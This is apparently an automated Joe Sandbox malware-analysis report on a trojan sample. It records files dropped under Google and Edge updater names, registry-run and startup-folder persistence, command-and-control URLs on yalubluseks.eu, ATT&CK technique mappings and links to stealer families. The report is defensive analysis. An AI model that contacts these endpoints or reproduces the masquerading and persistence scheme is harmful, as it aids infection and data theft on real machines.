Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	121 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	121 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	111 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	12 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	16%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
file.exe	35%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	16%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	35%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	16%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	35%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
api.ipify.org	0%	Virustotal		Browse
yalubluseks.eu	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://yalubluseks.eu/t	0%	Virustotal		Browse
https://yalubluseks.eu/receive.phpT	3%	Virustotal		Browse
https://yalubluseks.eu/get_update.phpT	3%	Virustotal		Browse
https://yalubluseks.eu/get_file.phpT	3%	Virustotal		Browse
https://yalubluseks.eu/get_updatX	7%	Virustotal		Browse
https://yalubluseks.eu	3%	Virustotal		Browse
https://yalubluseks.eu/get_update.php	1%	Virustotal		Browse
https://yalubluseks.eu/receiP	7%	Virustotal		Browse
http://yalubluseks.eu	2%	Virustotal		Browse
http://api.ipify.org	0%	Virustotal		Browse
https://yalubluseks.eu/get_file.php	0%	Virustotal		Browse
https://yalubluseks.eu/receive.php	0%	Virustotal		Browse
http://api.ipify.org/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false	0%, Virustotal, Browse	unknown
yalubluseks.eu	104.21.54.163	true	false	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://api.ipify.org/	false	0%, Virustotal, Browse	unknown
https://yalubluseks.eu/get_update.php	false	1%, Virustotal, Browse	unknown
https://yalubluseks.eu/receive.php	false	0%, Virustotal, Browse	unknown
https://yalubluseks.eu/get_file.php	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://yalubluseks.eu/t	LKMService.exe, 00000001.00000002.3531953099.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, LKMService.exe, 0000000E.00000002.3531804895.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002721000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://yalubluseks.eud	GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000291D000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://api.ipify.orgD	GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000296C000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://api.ipify.orgd	GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000296C000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://yalubluseks.euD	GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000291D000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000296C000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://yalubluseks.eu/get_file.phpT	GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028FD000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
https://yalubluseks.eu/get_filT	GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://yalubluseks.eu/get_update.phpT	GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000291D000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
https://yalubluseks.eu/receive.phpT	GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
https://yalubluseks.eu	LKMService.exe, 00000001.00000002.3531953099.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, LKMService.exe, 0000000E.00000002.3531804895.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000027D3000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002721000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
https://yalubluseks.eu/get_updatX	GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	false	7%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	LKMService.exe, 00000001.00000002.3531953099.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, LKMService.exe, 0000000E.00000002.3531804895.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002721000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yalubluseks.eu/receiP	GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp	false	7%, Virustotal, Browse	unknown
http://yalubluseks.eu	GoogleUpdater.exe, 0000000F.00000002.3531140102.000000000291D000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002810000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3531140102.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://api.ipify.org	GoogleUpdater.exe, 0000000F.00000002.3531140102.00000000028B0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.54.163	yalubluseks.eu	United States		13335	CLOUDFLARENETUS	false
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524705
Start date and time:	2024-10-03 06:51:26 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal84.winEXE@11/214@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 394 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Execution Graph export aborted for target GoogleUpdater.exe, PID 3704 because it is empty
Execution Graph export aborted for target GoogleUpdater.exe, PID 5316 because it is empty
Execution Graph export aborted for target GoogleUpdater.exe, PID 7124 because it is empty
Execution Graph export aborted for target LKMService.exe, PID 2488 because it is empty
Execution Graph export aborted for target LKMService.exe, PID 6480 because it is empty
Execution Graph export aborted for target LKMService.exe, PID 6576 because it is empty
Execution Graph export aborted for target file.exe, PID 7128 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:52:51	API Interceptor	5130482x Sleep call for process: LKMService.exe modified
00:52:51	API Interceptor	4905835x Sleep call for process: GoogleUpdater.exe modified
05:52:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run LKMService_fb6c211cefa74248b703266e5d81f6eb C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
05:52:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run LKMService_95ddeae38f2d454fad2ebf219c344fc9 C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
05:52:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run LKMService_fb6c211cefa74248b703266e5d81f6eb C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
05:52:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run LKMService_95ddeae38f2d454fad2ebf219c344fc9 C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
05:52:55	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7f260e4f58884f45b068a139c48f5940.lnk
05:53:08	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1adef8d2980c4340a53115438b966ff1.lnk
05:53:21	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_56861caf39d047a594a24b96a3ef7d20.lnk
05:53:34	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_bf9ce0e7dfb04385bf933b54f7f8dcd2.lnk
05:53:47	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_48e69eb5636c4f0496341c744955f7d8.lnk
05:54:00	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a79d86293eaf46ee8d360f284e34f44f.lnk
05:54:13	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_20184c95f91148f28d199e72f5151a5e.lnk
05:54:26	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ba265ae44a0846b0b141c88b4de7385c.lnk
05:54:40	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_de2ff563f8fe48b1a26a389369ec8b31.lnk
05:54:53	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_18736ad6e96149a8837bebc178909564.lnk
05:55:06	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6de9ad61d05342bbaea8461c36d48f9d.lnk
05:55:19	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_12a614bbc4f9486c994c34e5055220c6.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.54.163	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	104.21.54.163/
104.26.13.205	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
yalubluseks.eu	file.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.140.92
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.21.54.163
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	file.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.140.92
api.ipify.org	file.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	PO-A1702108.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	AvQTFKdsST.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.26.12.205
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.74.152
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	172.67.74.152
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Fvqw64NU4k.exe	Get hash	malicious	FormBook	Browse	104.21.12.107
	https://porn-app.com/download2	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://globalairt.com/arull.php?7104797967704b536932307464507a53744a4c53704a7a4d77727273784c7a7453725374524c7a732f564c3477776474594841413d3dkkirkman@ssc.nsw.gov.au	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	172.67.159.45
	SentinelOculus.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	win.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	104.21.14.133
	6.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
CLOUDFLARENETUS	Fvqw64NU4k.exe	Get hash	malicious	FormBook	Browse	104.21.12.107
	https://porn-app.com/download2	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://globalairt.com/arull.php?7104797967704b536932307464507a53744a4c53704a7a4d77727273784c7a7453725374524c7a732f564c3477776474594841413d3dkkirkman@ssc.nsw.gov.au	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	172.67.159.45
	SentinelOculus.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	win.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	104.21.14.133
	6.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	T3xpD9ZaYu.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.54.163
	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	104.21.54.163
	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	MZs41xJfcH.exe	Get hash	malicious	PureLog Stealer, Quasar, zgRAT	Browse	104.21.54.163
	http://www.sunsetsafaris.com.au//home	Get hash	malicious	Unknown	Browse	104.21.54.163
	N5mRSBWm8P.exe	Get hash	malicious	Quasar	Browse	104.21.54.163
	http://fpnc.vnvrff.com/	Get hash	malicious	Unknown	Browse	104.21.54.163
	tcU5sAPsAc.exe	Get hash	malicious	RedLine	Browse	104.21.54.163

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_GoogleUpdater.ex_e65fbfb1157319b87528dddfb2e6cd6e18528c9_7f7af7de_3bc3d427-7cb5-417a-96eb-5d75155c835e\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9418569250038081
Encrypted:	false
SSDEEP:	192:4jkAVBE2H70BU/ia6DkzuiF6Z24IO8+b:0kv2oBU/ia+kzuiF6Y4IO8+
MD5:	AE87123FC5F4BDFDBC71CACFC3D648EC
SHA1:	D5CE21E3FEE6EF7DAFC6F2B503F6A676FB1F7968
SHA-256:	B52F7DECDB8FDC715D08408370DA59437701D991788BEEC4758A1692C4861C53
SHA-512:	1EA143328F113603F00C2D98161D5CF0AD2645A8DC697FB4D8D217D6A30A443D868750BB285452D86C45F01841F3057390EC80FFA77885A10B59E1004C45C7F3
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.4.0.4.7.5.9.3.0.9.1.2.6.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.4.0.4.7.5.9.6.8.4.1.1.8.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.b.c.3.d.4.2.7.-.7.c.b.5.-.4.1.7.a.-.9.6.e.b.-.5.d.7.5.1.5.5.c.8.3.5.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.b.3.9.4.8.6.f.-.6.5.f.9.-.4.a.c.3.-.8.1.3.2.-.4.9.d.a.b.b.8.7.1.c.1.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.G.o.o.g.l.e.U.p.d.a.t.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.L.K.S.M...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.c.4.-.0.0.0.1.-.0.0.1.4.-.8.3.e.3.-.8.4.1.2.5.0.1.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.4.e.d.6.8.4.d.6.0.8.1.f.b.4.8.6.d.b.9.e.f.7.f.1.0.f.a.c.3.7.0.0.0.0.0.0.0.0.0.!.0.0.0.0.c.1.8.4.c.6.c.5.8.a.6.6.5.5.5.6.8.5.b.e.7.1.3.d.c.d.2.d.1.1.e.6.f.0.a.f.7.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_LKMService.exe_e9efdecc8e316038bc2f705926a5fe5162b8fa_39285b85_e315b88a-4a14-4a60-9b7d-8ea35ffe536c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.939043375631821
Encrypted:	false
SSDEEP:	192:QXonAVC5vi70BU/qaaDkzuiF6Z24IO8jT:gG/v9BU/qaekzuiF6Y4IO8j
MD5:	0450AD56DC7775981113E22769F003D3
SHA1:	2D9F0E9D01ED5F305C64161F1D000315C66A927E
SHA-256:	4587986C782EDB4B7AD0973B6E89B9AD4BC534342DD737B6BD76EDDCA88482DC
SHA-512:	8C06CBDE2C7CC3A073F47A9EAC237454308AF9B1FE754C79A406AA62B2F0F7F281F5D7F71708C78AED8E58AF227A42047C908DD930583C708D4197BAE73487F1
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.4.0.4.7.5.1.5.1.4.1.3.7.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.4.0.4.7.5.2.1.3.9.1.1.4.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.3.1.5.b.8.8.a.-.4.a.1.4.-.4.a.6.0.-.9.b.7.d.-.8.e.a.3.5.f.f.e.5.3.6.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.3.9.2.d.c.0.e.-.c.e.1.c.-.4.b.9.f.-.8.1.d.c.-.4.1.9.1.5.a.e.f.6.c.1.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.L.K.M.S.e.r.v.i.c.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.L.K.S.M...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.b.0.-.0.0.0.1.-.0.0.1.4.-.8.9.5.f.-.b.8.0.d.5.0.1.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.4.e.d.6.8.4.d.6.0.8.1.f.b.4.8.6.d.b.9.e.f.7.f.1.0.f.a.c.3.7.0.0.0.0.0.0.0.0.0.!.0.0.0.0.c.1.8.4.c.6.c.5.8.a.6.6.5.5.5.6.8.5.b.e.7.1.3.d.c.d.2.d.1.1.e.6.f.0.a.f.7.c.3.7.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA691.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Oct 3 04:52:31 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	189919
Entropy (8bit):	4.102622416019254
Encrypted:	false
SSDEEP:	3072:Fjg74uEqEydHLTg2UQzMh0hL5f6bGODYEH/m:F874dydrTg2DhNf6bGW
MD5:	81879DA96172C2616E0CF1D182AAE38A
SHA1:	2099D57484514588EA621E3280760151F26E9904
SHA-256:	E89A44684E80E73CB2D35FEC5571236FC8D9DE6B31CDE0F8AAA88B930601A190
SHA-512:	24D71498A8923E45518F3730AC83EA9EE5302EFB435FFEB09A4A701DAE832BC70DCAEECDD3A06C68C40B17602FA4B22A29C1CF9A5C5129F86C0A4445633AAA86
Malicious:	false
Preview:	MDMP..a..... ........#.f........................x...........$...........T ...9..........`.......8...........T............%..O...........4........... ...............................................................................eJ..............GenuineIntel............T............#.f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA7EA.tmp.WERInternalMetadata.xml

